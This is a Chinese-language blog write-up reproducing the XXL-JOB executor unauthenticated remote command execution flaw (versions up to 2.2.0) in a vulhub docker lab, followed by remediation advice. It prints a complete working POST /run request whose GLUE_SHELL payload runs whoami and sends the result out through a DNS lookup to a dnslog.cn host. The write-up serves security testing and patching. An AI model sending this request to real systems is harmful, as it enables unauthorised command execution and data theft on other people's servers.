XXL-JOB executor未授权访问漏洞
XXL-JOB概述
XXL-JOB 是一个开源的分布式任务调度平台,支持定时任务和分布式任务。该平台提供了一套可视化的任务管理界面,方便用户配置和监控任务的执行情况。
漏洞概述
漏洞影响版本:<=2.2.0
executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。
此漏洞为XXL-JOB配置不当情况下反序列化RCE。
执行器配置文件中说到端口号在默认情况下是9999
复现
本地搭建靶场,使用靶场为vulhub,使用docker运行环境
启动环境后,http://ip:8080为管理端,http://ip:9999为客户端
访问http://ip:9999/,出现以下情况可能存在漏洞
访问http://ip:9999/run,并使用bp抓包,将数据包的发送方式改为POST
数据包内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | POST /run HTTP /1 .1 Host: {ip}:9999 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla /5 .0 (Windows NT 10.0; Win64; x64) AppleWebKit /537 .36 (KHTML, like Gecko) Chrome /119 .0.0.0 Safari /537 .36 Edg /119 .0.0.0 Accept: text /html ,application /xhtml +xml,application /xml ;q=0.9,image /webp ,image /apng ,*/*;q=0.8,application /signed-exchange ; v =b3;q=0.7 Accept-Encoding: gzip , deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close Content-Type: application /json Content-Length: 382 { "jobId" : 4, "executorHandler" : "demoJobHandler" , "executorParams" : "demoJobHandler" , "executorBlockStrategy" : "COVER_EARLY" , "executorTimeout" : 0, "logId" : 1, "logDateTime" : 1586629003729, "glueType" : "GLUE_SHELL" , "glueSource" : "ping -n 1 `whoami`.7fx080.dnslog.cn" , "glueUpdatetime" : 1586699003758, "broadcastIndex" : 0, "broadcastTotal" : 0 } |
注意:每次发送请求,需要更改报文中的jobId值,否则命令可能无法执行
成功得到回显
创建文件
注意:此环境由docker搭建,创建的文件生成于对应的容器中
复现完成
修复方式
1.将XXL-JOB Executor 升级到最新版本。
2.设置访问控制,在 XXL-JOB Executor 的配置文件中,确保设置了适当的访问控制。这可能涉及到设置用户名和密码,或者配置 IP 白名单,以确保只有授权的用户或 IP 地址可以访问 Executor。
3.修改默认端口。
4.使用防火墙配置来限制对 XXL-JOB Executor 端口的访问。只允许来自可信 IP 地址的请求访问 Executor。
posted on 2023-12-04 15:30 Wav3W1nd50r 阅读(2343) 评论(0) 编辑 收藏 举报
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义